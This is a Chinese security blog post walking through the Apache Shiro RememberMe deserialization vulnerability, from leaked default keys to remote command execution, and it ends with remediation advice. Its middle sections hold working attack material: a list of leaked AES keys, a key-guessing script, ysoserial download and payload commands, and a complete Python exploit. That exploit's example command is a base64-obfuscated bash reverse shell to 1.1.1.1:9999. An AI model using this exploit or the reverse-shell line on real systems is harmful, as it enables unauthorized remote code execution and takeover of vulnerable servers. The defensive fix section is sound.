Shiro反序列化漏洞全链路分析:从默认密钥到GetShell实战
Shiro反序列化漏洞全链路分析:从默认密钥到GetShell实战
上周帮朋友应急,一台内网服务器被打了。上去一看,Shiro框架,默认密钥没改,攻击者直接反序列化GetShell。朋友一脸懵:"我就是用了个框架,这也能被搞?"
能,而且非常容易。今天把Shiro反序列化漏洞从原理到实战完整过一遍,看完你就知道这个漏洞到底有多危险。
0x01 漏洞简介
Apache Shiro是Java生态中最常用的权限认证框架之一。它提供了"Remember Me"功能,用户登录后会生成一个加密的Cookie,下次访问时自动认证。问题出在这个Cookie的处理流程上:
用户Cookie → Base64解码 → AES解密 → Java反序列化
如果AES密钥泄露(默认密钥被公开),攻击者就可以构造恶意的序列化数据,经过AES加密、Base64编码后塞进Cookie,服务端解密后直接触发反序列化漏洞。
影响版本:Shiro < 1.2.5(硬编码默认密钥),以及使用了已泄露密钥的所有版本。
0x02 默认密钥搜集
Shiro早期版本硬编码了一个默认密钥:
// Shiro源码中 DefaultCipherService 的默认密钥
private static final byte[] DEFAULT_CIPHER_KEY_BYTES =
Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
但实战中,很多人即使升级了Shiro版本,密钥也没换。GitHub上有一份泄露的常见密钥列表,简单列几个:
# 常见Shiro默认密钥
DEFAULT_KEYS = [
"kPH+bIxk5D2deZiIxcaaaA==", # 官方默认
"4AvVhmFLUs0KTA3Kprsdag==",
"Z3VucwAAAAAAAAAAAAAAAA==",
"fCq+/xW488hMTCD+cmJ3aQ==",
"0AvVhmFLUs0KTA3Kprsdag==",
"1AvVhdsgUs0FSA3SDFAdag==",
"2AvVhdsgUs0FSA3SDFAdag==",
"3AvVhmFLUs0KTA3Kprsdag==",
]
密钥猜解脚本思路:
import base64
import uuid
import requests
def check_shiro_key(url, key_b64):
"""检测Shiro密钥是否可用"""
key = base64.b64decode(key_b64)
# 构造一个合法的RememberMe Cookie
# 这里用简单的序列化对象做测试
payload = b'\xac\xed\x00\x05' # Java序列化魔数
# ... 加密逻辑省略,实际使用工具
headers = {
'Cookie': f'RememberMe={base64.b64encode(encrypted).decode()}'
}
resp = requests.get(url, headers=headers, allow_redirects=False)
# 判断响应头是否包含deleteMe
# 有deleteMe = 密钥错误,无deleteMe = 密钥正确
if 'deleteMe' not in resp.headers.get('Set-Cookie', ''):
return True
return False
核心原理:密钥正确时服务端正常处理Cookie,不返回deleteMe;密钥错误时反序列化失败,返回deleteMe删除无效Cookie。
0x03 漏洞复现
最常用的工具是ysoserial,它可以生成各种利用链的payload:
# 下载ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
# 生成Commons Collections利用链payload
java -jar ysoserial-all.jar CommonsCollections2 "touch /tmp/pwned" > payload.bin
Python一键检测脚本:
import base64
import uuid
import subprocess
import requests
from Crypto.Cipher import AES
def encrypt_payload(payload, key):
"""AES-CBC加密payload"""
iv = uuid.uuid4().bytes
pad = 16 - len(payload) % 16
payload = payload + chr(pad).encode() * pad
cipher = AES.new(base64.b64decode(key), AES.MODE_CBC, iv)
encrypted = cipher.encrypt(payload)
return base64.b64encode(iv + encrypted).decode()
def exploit(target_url, command, key="kPH+bIxk5D2deZiIxcaaaA=="):
"""利用Shiro反序列化执行命令"""
# 生成payload
result = subprocess.run(
["java", "-jar", "ysoserial-all.jar", "CommonsCollections2", command],
capture_output=True
)
payload = result.stdout
# 加密并发送
cookie_value = encrypt_payload(payload, key)
headers = {"Cookie": f"RememberMe={cookie_value}"}
resp = requests.get(target_url, headers=headers, timeout=10)
return resp.status_code
if __name__ == "__main__":
target = "http://192.168.1.100:8080/"
result = exploit(target, "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjEuMS4xLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}")
print(f"[*] Status: {result}")
0x04 修复方案
1. 更换密钥(最基础)
// 生成随机密钥
import org.apache.shiro.crypto.AesCipherService;
AesCipherService cipherService = new AesCipherService();
byte[] newKey = cipherService.generateNewKey(128).getEncoded();
System.out.println(Base64.getEncoder().encodeToString(newKey));
2. 升级Shiro版本
1.2.5+移除了硬编码密钥,1.4.2+引入了更强的安全机制。建议至少升级到1.13.0。
3. WAF规则
在WAF层拦截包含RememberMe字段的请求中检测Java序列化魔数(ac ed 00 05)。
0x05 经验总结
- 默认密钥必须换。不只是Shiro,任何框架的默认密钥都要改
- 反序列化漏洞危害极大,直接RCE,不要心存侥幸
- 内网不代表安全。这次应急就是内网横向渗透打过来的
- 版本升级后记得清理配置。很多人升级了Shiro版本,但密钥还是老的
安全这事儿,差一步就是天壤之别。
如果这篇文章对你有帮助,点个赞让更多人看到。有疑问评论区聊,关注"安全值班室"持续获取安全干货。
标签: Shiro, 反序列化, 漏洞分析, Java安全
分类: 漏洞分析
关注「安全值班室」公众号
每天AI安全早报 + 实战攻防案例 + 网安学习路线连载
浙公网安备 33010602011771号